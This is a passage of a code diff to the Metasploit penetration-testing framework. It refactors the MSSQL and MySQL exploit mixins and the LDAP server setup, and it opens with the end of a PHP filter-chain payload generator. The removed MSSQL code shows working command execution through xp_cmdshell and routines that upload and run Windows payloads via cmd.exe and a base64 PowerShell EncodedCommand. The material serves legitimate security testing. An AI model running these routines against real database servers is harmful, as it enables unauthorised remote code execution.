chain = command.encode("UTF-8")
|
||||
encoded_chain = Base64.strict_encode64(chain).encode("UTF-8").chomp("=")
|
||||
filters = "convert.iconv.UTF8.CSISO2022KR|"
|
||||
filters << "convert.base64-encode|"
|
||||
filters << "convert.iconv.UTF8.UTF7|"
|
||||
|
||||
encoded_chain.reverse.each_char do |c|
|
||||
filters << CONVERSIONS[c] + "|"
|
||||
filters << "convert.base64-decode|"
|
||||
filters << "convert.base64-encode|"
|
||||
filters << "convert.iconv.UTF8.UTF7|"
|
||||
end
|
||||
|
||||
filters += "convert.base64-decode"
|
||||
"php://filter/#{filters}/resource=php://temp"
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -76,6 +76,13 @@ module Msf
|
||||
#
|
||||
def start_service
|
||||
comm = _determine_server_comm(bindhost)
|
||||
auth_handler = Rex::Proto::LDAP::Auth.new(
|
||||
datastore['CHALLENGE'],
|
||||
datastore['Domain'],
|
||||
datastore['Server'],
|
||||
datastore['DnsName'],
|
||||
datastore['DnsDomain']
|
||||
)
|
||||
self.service = Rex::ServiceManager.start(
|
||||
Rex::Proto::LDAP::Server,
|
||||
bindhost,
|
||||
@@ -84,6 +91,7 @@ module Msf
|
||||
datastore['LdapServerTcp'],
|
||||
read_ldif,
|
||||
comm,
|
||||
auth_handler,
|
||||
{ 'Msf' => framework, 'MsfExploit' => self }
|
||||
)
|
||||
|
||||
|
||||
@@ -1,24 +1,24 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'metasploit/framework/mssql/base'
|
||||
require 'rex/proto/mssql/client'
|
||||
require 'metasploit/framework/tcp/client'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods for querying a remote MSSQL service
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::MSSQL
|
||||
|
||||
include Exploit::Remote::MSSQL_COMMANDS
|
||||
include Exploit::Remote::Udp
|
||||
include Exploit::Remote::Tcp
|
||||
include Exploit::Remote::NTLM::Client
|
||||
include Metasploit::Framework::MSSQL::Base
|
||||
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
|
||||
include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
|
||||
|
||||
attr_accessor :mssql_client
|
||||
|
||||
#
|
||||
# Creates an instance of a MSSQL exploit module.
|
||||
#
|
||||
@@ -32,8 +32,8 @@ module Exploit::Remote::MSSQL
|
||||
Opt::RPORT(1433),
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
|
||||
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
|
||||
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]),
|
||||
# OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]), - TODO: support TDS Encryption
|
||||
], Msf::Exploit::Remote::MSSQL)
|
||||
register_advanced_options(
|
||||
[
|
||||
@@ -48,6 +48,10 @@ module Exploit::Remote::MSSQL
|
||||
register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
|
||||
end
|
||||
|
||||
def set_session(client)
|
||||
print_status("Using existing session #{session.sid}")
|
||||
@mssql_client = client
|
||||
end
|
||||
|
||||
#
|
||||
# This method sends a UDP query packet to the server and
|
||||
@@ -107,188 +111,79 @@ module Exploit::Remote::MSSQL
|
||||
#
|
||||
# Execute a system command via xp_cmdshell
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
@mssql_client.mssql_parse_tds_reply(data, info)
|
||||
end
|
||||
|
||||
def mssql_parse_reply(data, info)
|
||||
@mssql_client.mssql_parse_reply(data, info)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
@mssql_client.mssql_parse_tds_row(data, info)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "ret" TDS token
|
||||
#
|
||||
def mssql_parse_ret(data, info)
|
||||
@mssql_client.mssql_parse_ret(data, info)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
@mssql_client.mssql_parse_done(data, info)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
@mssql_client.mssql_parse_error(data, info)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "environment change" TDS token
|
||||
#
|
||||
def mssql_parse_env(data, info)
|
||||
@mssql_client.mssql_parse_env(data, info)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
@mssql_client.mssql_parse_info(data, info)
|
||||
end
|
||||
|
||||
def mssql_xpcmdshell(cmd, doprint=false, opts={})
|
||||
force_enable = false
|
||||
begin
|
||||
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
|
||||
if res[:errors] && !res[:errors].empty?
|
||||
if res[:errors].join =~ /xp_cmdshell/
|
||||
if force_enable
|
||||
print_error("The xp_cmdshell procedure is not available and could not be enabled")
|
||||
raise RuntimeError, "Failed to execute command"
|
||||
else
|
||||
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
|
||||
mssql_query(mssql_xpcmdshell_enable())
|
||||
raise RuntimeError, "xp_cmdshell disabled"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
mssql_print_reply(res) if doprint
|
||||
|
||||
return res
|
||||
|
||||
rescue RuntimeError => e
|
||||
if e.to_s =~ /xp_cmdshell disabled/
|
||||
force_enable = true
|
||||
retry
|
||||
end
|
||||
raise e
|
||||
end
|
||||
@mssql_client.mssql_xpcmdshell(cmd, doprint, opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Upload and execute a Windows binary through MSSQL queries
|
||||
#
|
||||
def mssql_upload_exec(exe, debug=false)
|
||||
hex = exe.unpack("H*")[0]
|
||||
|
||||
var_bypass = rand_text_alpha(8)
|
||||
var_payload = rand_text_alpha(8)
|
||||
|
||||
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
||||
print_status("Writing the debug.com loader to the disk...")
|
||||
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
|
||||
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
|
||||
h2b.split(/\n/).each do |line|
|
||||
mssql_xpcmdshell("#{line}", false)
|
||||
end
|
||||
|
||||
print_status("Converting the debug script to an executable...")
|
||||
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
|
||||
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
|
||||
|
||||
print_status("Uploading the payload, please be patient...")
|
||||
idx = 0
|
||||
cnt = 500
|
||||
while(idx < hex.length - 1)
|
||||
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
||||
idx += cnt
|
||||
end
|
||||
|
||||
print_status("Converting the encoded payload...")
|
||||
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
|
||||
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
|
||||
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
||||
|
||||
print_status("Executing the payload...")
|
||||
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
||||
@mssql_client.mssql_upload_exec(exe, debug)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Upload and execute a Windows binary through MSSQL queries and Powershell
|
||||
#
|
||||
def powershell_upload_exec(exe, debug=false)
|
||||
|
||||
# hex converter
|
||||
hex = exe.unpack("H*")[0]
|
||||
# create random alpha 8 character names
|
||||
#var_bypass = rand_text_alpha(8)
|
||||
var_payload = rand_text_alpha(8)
|
||||
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
||||
# our payload converter, grabs a hex file and converts it to binary for us through powershell
|
||||
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
|
||||
h2b_unicode=Rex::Text.to_unicode(h2b)
|
||||
# base64 encode it, this allows us to perform execution through powershell without registry changes
|
||||
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
|
||||
print_status("Uploading the payload #{var_payload}, please be patient...")
|
||||
idx = 0
|
||||
cnt = 500
|
||||
while(idx < hex.length - 1)
|
||||
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
||||
idx += cnt
|
||||
end
|
||||
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
|
||||
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
|
||||
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
||||
print_status("Executing the payload...")
|
||||
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
||||
print_status("Be sure to cleanup #{var_payload}.exe...")
|
||||
@mssql_client.powershell_upload_exec(exe, debug)
|
||||
end
|
||||
|
||||
#
|
||||
#this method send a prelogin packet and check if encryption is off
|
||||
#
|
||||
def mssql_prelogin(enc_error=false)
|
||||
|
||||
pkt = ""
|
||||
pkt_hdr = ""
|
||||
pkt_data_token = ""
|
||||
pkt_data = ""
|
||||
|
||||
|
||||
pkt_hdr = [
|
||||
TYPE_PRE_LOGIN_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x00, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
version = [0x55010008, 0x0000].pack("Vv")
|
||||
encryption = ENCRYPT_NOT_SUP # off
|
||||
instoptdata = "MSSQLServer\0"
|
||||
|
||||
threadid = "\0\0" + Rex::Text.rand_text(2)
|
||||
|
||||
idx = 21 # size of pkt_data_token
|
||||
pkt_data_token << [
|
||||
0x00, # Token 0 type Version
|
||||
idx, # VersionOffset
|
||||
version.length, # VersionLength
|
||||
|
||||
0x01, # Token 1 type Encryption
|
||||
idx = idx + version.length, # EncryptionOffset
|
||||
0x01, # EncryptionLength
|
||||
|
||||
0x02, # Token 2 type InstOpt
|
||||
idx = idx + 1, # InstOptOffset
|
||||
instoptdata.length, # InstOptLength
|
||||
|
||||
0x03, # Token 3 type Threadid
|
||||
idx + instoptdata.length, # ThreadIdOffset
|
||||
0x04, # ThreadIdLength
|
||||
|
||||
0xFF
|
||||
].pack("CnnCnnCnnCnnC")
|
||||
|
||||
pkt_data << pkt_data_token
|
||||
pkt_data << version
|
||||
pkt_data << encryption
|
||||
pkt_data << instoptdata
|
||||
pkt_data << threadid
|
||||
|
||||
pkt_hdr[2] = pkt_data.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
idx = 0
|
||||
|
||||
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
||||
token = resp.slice!(0, 5)
|
||||
token = token.unpack("Cnn")
|
||||
idx -= 5
|
||||
if token[0] == 0x01
|
||||
idx += token[1]
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if idx > 0
|
||||
encryption_mode = resp[idx, 1].unpack("C")[0]
|
||||
else
|
||||
# force to ENCRYPT_NOT_SUP and hope for the best
|
||||
encryption_mode = ENCRYPT_NOT_SUP
|
||||
end
|
||||
|
||||
if encryption_mode != ENCRYPT_NOT_SUP && enc_error
|
||||
raise RuntimeError,"Encryption is not supported"
|
||||
end
|
||||
encryption_mode
|
||||
@mssql_client.mssql_prelogin(enc_error)
|
||||
end
|
||||
|
||||
#
|
||||
@@ -296,430 +191,40 @@ module Exploit::Remote::MSSQL
|
||||
# to authenticate with the supplied username and password
|
||||
# The global socket is used and left connected after auth
|
||||
#
|
||||
def mssql_login(user='sa', pass='', db='')
|
||||
|
||||
disconnect if self.sock
|
||||
connect
|
||||
|
||||
begin
|
||||
# Send a prelogin packet and check that encryption is not enabled
|
||||
if mssql_prelogin != ENCRYPT_NOT_SUP
|
||||
print_error('Encryption is not supported')
|
||||
return false
|
||||
end
|
||||
rescue EOFError
|
||||
print_error('Probable server or network failure')
|
||||
return false
|
||||
end
|
||||
|
||||
if datastore['Mssql::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
|
||||
idx = 0
|
||||
pkt = ''
|
||||
pkt_hdr = ''
|
||||
pkt_hdr = [
|
||||
TYPE_TDS7_LOGIN, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID (unused upon specification
|
||||
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt << [
|
||||
0x00000000, # Size
|
||||
0x71000001, # TDS Version
|
||||
0x00000000, # Dummy Size
|
||||
0x00000007, # Version
|
||||
rand(1024+1), # PID
|
||||
0x00000000, # ConnectionID
|
||||
0xe0, # Option Flags 1
|
||||
0x83, # Option Flags 2
|
||||
0x00, # SQL Type Flags
|
||||
0x00, # Reserved Flags
|
||||
0x00000000, # Time Zone
|
||||
0x00000000 # Collation
|
||||
].pack('VVVVVVCCCCVV')
|
||||
|
||||
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
|
||||
sname = Rex::Text.to_unicode( rhost )
|
||||
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using Kerberos authentication.') if datastore['Mssql::Rhostname'].blank?
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'The DOMAIN option is required when using Kerberos authentication.') if datastore['DOMAIN'].blank?
|
||||
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['MssqlKrbOfferedEncryptionTypes'])
|
||||
fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty?
|
||||
|
||||
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
|
||||
host: datastore['DomainControllerRhost'].blank? ? nil : datastore['DomainControllerRhost'],
|
||||
hostname: datastore['Mssql::Rhostname'],
|
||||
proxies: datastore['Proxies'],
|
||||
mssql_port: rport,
|
||||
realm: datastore['MssqlDomain'],
|
||||
username: datastore['username'],
|
||||
password: datastore['password'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
cache_file: datastore['Mssql::Krb5Ccname'].blank? ? nil : datastore['Mssql::Krb5Ccname'],
|
||||
ticket_storage: kerberos_ticket_storage,
|
||||
offered_etypes: offered_etypes
|
||||
)
|
||||
|
||||
kerberos_result = kerberos_authenticator.authenticate
|
||||
ssp_security_blob = kerberos_result[:security_blob]
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
pkt << [idx, cname.length / 2].pack('vv')
|
||||
idx += cname.length
|
||||
|
||||
pkt << [0, 0].pack('vv') # User length offset must be 0
|
||||
pkt << [0, 0].pack('vv') # Password length offset must be 0
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, sname.length / 2].pack('vv')
|
||||
idx += sname.length
|
||||
|
||||
pkt << [0, 0].pack('vv') # unused
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, 0].pack('vv') # locales
|
||||
|
||||
pkt << [idx, 0].pack('vv') #db
|
||||
|
||||
# ClientID (should be mac address)
|
||||
pkt << Rex::Text.rand_text(6)
|
||||
|
||||
# SSP
|
||||
pkt << [idx, ssp_security_blob.length].pack('vv')
|
||||
idx += ssp_security_blob.length
|
||||
|
||||
pkt << [idx, 0].pack('vv') # AtchDBFile
|
||||
|
||||
pkt << cname
|
||||
pkt << aname
|
||||
pkt << sname
|
||||
pkt << aname
|
||||
pkt << ssp_security_blob
|
||||
|
||||
# Total packet length
|
||||
pkt[0, 4] = [pkt.length].pack('V')
|
||||
|
||||
pkt_hdr[2] = pkt.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
||||
|
||||
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
|
||||
# has a strange behavior that differs from the specifications
|
||||
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
||||
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentication
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp, info)
|
||||
|
||||
return false if not info
|
||||
return info[:login_ack] ? true : false
|
||||
elsif datastore['Mssql::Auth'] == Msf::Exploit::Remote::AuthOption::NTLM || datastore['USE_WINDOWS_AUTHENT']
|
||||
idx = 0
|
||||
pkt = ''
|
||||
pkt_hdr = ''
|
||||
pkt_hdr = [
|
||||
TYPE_TDS7_LOGIN, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID (unused upon specification
|
||||
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt << [
|
||||
0x00000000, # Size
|
||||
0x71000001, # TDS Version
|
||||
0x00000000, # Dummy Size
|
||||
0x00000007, # Version
|
||||
rand(1024+1), # PID
|
||||
0x00000000, # ConnectionID
|
||||
0xe0, # Option Flags 1
|
||||
0x83, # Option Flags 2
|
||||
0x00, # SQL Type Flags
|
||||
0x00, # Reserved Flags
|
||||
0x00000000, # Time Zone
|
||||
0x00000000 # Collation
|
||||
].pack('VVVVVVCCCCVV')
|
||||
|
||||
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
|
||||
sname = Rex::Text.to_unicode( rhost )
|
||||
dname = Rex::Text.to_unicode( db )
|
||||
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
||||
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
user,
|
||||
pass,
|
||||
workstation: workstation_name,
|
||||
domain: datastore['DOMAIN'],
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
# SQL 2012, at least, does not support KEY_EXCHANGE
|
||||
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
||||
ntlmsspblob = type1.serialize
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
pkt << [idx, cname.length / 2].pack('vv')
|
||||
idx += cname.length
|
||||
|
||||
pkt << [0, 0].pack('vv') # User length offset must be 0
|
||||
pkt << [0, 0].pack('vv') # Password length offset must be 0
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, sname.length / 2].pack('vv')
|
||||
idx += sname.length
|
||||
|
||||
pkt << [0, 0].pack('vv') # unused
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, 0].pack('vv') # locales
|
||||
|
||||
pkt << [idx, 0].pack('vv') #db
|
||||
|
||||
# ClientID (should be mac address)
|
||||
pkt << Rex::Text.rand_text(6)
|
||||
|
||||
# NTLMSSP
|
||||
pkt << [idx, ntlmsspblob.length].pack('vv')
|
||||
idx += ntlmsspblob.length
|
||||
|
||||
pkt << [idx, 0].pack('vv') # AtchDBFile
|
||||
|
||||
pkt << cname
|
||||
pkt << aname
|
||||
pkt << sname
|
||||
pkt << aname
|
||||
pkt << ntlmsspblob
|
||||
|
||||
# Total packet length
|
||||
pkt[0, 4] = [pkt.length].pack('V')
|
||||
|
||||
pkt_hdr[2] = pkt.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
||||
|
||||
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
|
||||
# has a strange behavior that differs from the specifications
|
||||
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
||||
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentication
|
||||
resp = mssql_send_recv(pkt, 15, false)
|
||||
|
||||
unless resp.include?("NTLMSSP")
|
||||
info = {:errors => []}
|
||||
mssql_parse_reply(resp, info)
|
||||
mssql_print_reply(info)
|
||||
return false
|
||||
end
|
||||
|
||||
# Get default data
|
||||
resp = resp[3..-1]
|
||||
type3 = ntlm_client.init_context([resp].pack('m'))
|
||||
type3_blob = type3.serialize
|
||||
|
||||
# Create an SSPIMessage
|
||||
idx = 0
|
||||
pkt = ''
|
||||
pkt_hdr = ''
|
||||
pkt_hdr = [
|
||||
TYPE_SSPI_MESSAGE, #type
|
||||
STATUS_END_OF_MESSAGE, #status
|
||||
0x0000, #length
|
||||
0x0000, # SPID
|
||||
0x01, # PacketID
|
||||
0x00 #Window
|
||||
]
|
||||
|
||||
pkt_hdr[2] = type3_blob.length + 8
|
||||
|
||||
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
|
||||
|
||||
resp = mssql_send_recv(pkt)
|
||||
|
||||
|
||||
#SQL Server authentication
|
||||
else
|
||||
idx = 0
|
||||
pkt = ''
|
||||
pkt << [
|
||||
0x00000000, # Dummy size
|
||||
|
||||
0x71000001, # TDS Version
|
||||
0x00000000, # Size
|
||||
0x00000007, # Version
|
||||
rand(1024+1), # PID
|
||||
0x00000000, # ConnectionID
|
||||
0xe0, # Option Flags 1
|
||||
0x03, # Option Flags 2
|
||||
0x00, # SQL Type Flags
|
||||
0x00, # Reserved Flags
|
||||
0x00000000, # Time Zone
|
||||
0x00000000 # Collation
|
||||
].pack('VVVVVVCCCCVV')
|
||||
|
||||
|
||||
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
uname = Rex::Text.to_unicode( user )
|
||||
pname = mssql_tds_encrypt( pass )
|
||||
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
||||
sname = Rex::Text.to_unicode( rhost )
|
||||
dname = Rex::Text.to_unicode( db )
|
||||
|
||||
idx = pkt.size + 50 # lengths below
|
||||
|
||||
pkt << [idx, cname.length / 2].pack('vv')
|
||||
idx += cname.length
|
||||
|
||||
pkt << [idx, uname.length / 2].pack('vv')
|
||||
idx += uname.length
|
||||
|
||||
pkt << [idx, pname.length / 2].pack('vv')
|
||||
idx += pname.length
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, sname.length / 2].pack('vv')
|
||||
idx += sname.length
|
||||
|
||||
pkt << [0, 0].pack('vv')
|
||||
|
||||
pkt << [idx, aname.length / 2].pack('vv')
|
||||
idx += aname.length
|
||||
|
||||
pkt << [idx, 0].pack('vv')
|
||||
|
||||
pkt << [idx, dname.length / 2].pack('vv')
|
||||
idx += dname.length
|
||||
|
||||
# The total length has to be embedded twice more here
|
||||
pkt << [
|
||||
0,
|
||||
0,
|
||||
0x12345678,
|
||||
0x12345678
|
||||
].pack('vVVV')
|
||||
|
||||
pkt << cname
|
||||
pkt << uname
|
||||
pkt << pname
|
||||
pkt << aname
|
||||
pkt << sname
|
||||
pkt << aname
|
||||
pkt << dname
|
||||
|
||||
# Total packet length
|
||||
pkt[0, 4] = [pkt.length].pack('V')
|
||||
|
||||
# Embedded packet lengths
|
||||
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
||||
|
||||
# Packet header and total length including header
|
||||
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
|
||||
|
||||
begin
|
||||
resp = mssql_send_recv(pkt)
|
||||
rescue EOFError
|
||||
print_error('Probable server or network failure')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
info = {:errors => []}
|
||||
info = mssql_parse_reply(resp, info)
|
||||
|
||||
return false if not info
|
||||
info[:login_ack] ? true : false
|
||||
def mssql_login(user='sa', pass='', db='', domain_name='')
|
||||
@mssql_client ||= Rex::Proto::MSSQL::Client.new(self, framework, datastore['RHOST'], datastore['RPORT'])
|
||||
result = @mssql_client.mssql_login(user, pass, db, domain_name)
|
||||
add_socket(@mssql_client.sock) if @mssql_client.sock && !sockets.include?(@mssql_client.sock)
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Login to the SQL server using the standard USERNAME/PASSWORD options
|
||||
#
|
||||
def mssql_login_datastore(db='')
|
||||
mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db)
|
||||
def mssql_login_datastore(db=nil)
|
||||
mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db || datastore['DATABASE'] || '', datastore['MssqlDomain'] || '')
|
||||
end
|
||||
|
||||
#
|
||||
# Issue a SQL query using the TDS protocol
|
||||
#
|
||||
def mssql_query(sqla, doprint=false, opts={})
|
||||
info = { :sql => sqla }
|
||||
|
||||
opts[:timeout] ||= 15
|
||||
|
||||
pkts = []
|
||||
idx = 0
|
||||
|
||||
bsize = 4096 - 8
|
||||
chan = 0
|
||||
|
||||
@cnt ||= 0
|
||||
@cnt += 1
|
||||
|
||||
sql = Rex::Text.to_unicode(sqla)
|
||||
while(idx < sql.length)
|
||||
buf = sql[idx, bsize]
|
||||
flg = buf.length < bsize ? "\x01" : "\x00"
|
||||
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
|
||||
idx += bsize
|
||||
|
||||
end
|
||||
|
||||
resp = mssql_send_recv(pkts.join, opts[:timeout])
|
||||
mssql_parse_reply(resp, info)
|
||||
mssql_print_reply(info) if doprint
|
||||
info
|
||||
@mssql_client.mssql_query(sqla, doprint, opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Nicely print the results of a SQL query
|
||||
#
|
||||
def mssql_print_reply(info)
|
||||
@mssql_client.mssql_print_reply(info)
|
||||
end
|
||||
|
||||
print_status("SQL Query: #{info[:sql]}")
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
@mssql_client.mssql_send_recv(req, timeout, check_status)
|
||||
end
|
||||
|
||||
if info[:done] && info[:done][:rows].to_i > 0
|
||||
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
|
||||
end
|
||||
|
||||
if info[:errors] && !info[:errors].empty?
|
||||
info[:errors].each do |err|
|
||||
print_error(err)
|
||||
end
|
||||
end
|
||||
|
||||
if info[:rows] && !info[:rows].empty?
|
||||
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => 1,
|
||||
'Header' => "",
|
||||
'Columns' => info[:colnames],
|
||||
'SortIndex' => -1
|
||||
)
|
||||
|
||||
info[:rows].each do |row|
|
||||
tbl << row
|
||||
end
|
||||
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -19,6 +19,10 @@ module Exploit::Remote::MYSQL
|
||||
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
# @!attribute [rw] mysql_conn
|
||||
# @return [::Mysql]
|
||||
attr_accessor :mysql_conn
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
@@ -33,11 +37,13 @@ module Exploit::Remote::MYSQL
|
||||
end
|
||||
|
||||
def mysql_login(user='root', pass='', db=nil)
|
||||
disconnect if self.sock
|
||||
disconnect if sock
|
||||
connect
|
||||
|
||||
begin
|
||||
@mysql_handle = ::Mysql.connect(rhost, user, pass, db, rport, io: sock)
|
||||
self.mysql_conn = ::Mysql.connect(rhost, user, pass, db, rport, io: sock)
|
||||
# Deprecating this in favor off `mysql_conn`
|
||||
@mysql_handle = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :mysql_conn, :@mysql_handle, ActiveSupport::Deprecation.new)
|
||||
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error("Connection refused")
|
||||
@@ -56,12 +62,15 @@ module Exploit::Remote::MYSQL
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_good "#{mysql_conn.host}:#{mysql_conn.port} MySQL - Logged in to '#{db}' with '#{user}':'#{pass}'"
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def mysql_logoff
|
||||
@mysql_handle = nil if @mysql_handle
|
||||
disconnect if self.sock
|
||||
mysql_conn.close if mysql_conn
|
||||
disconnect if sock
|
||||
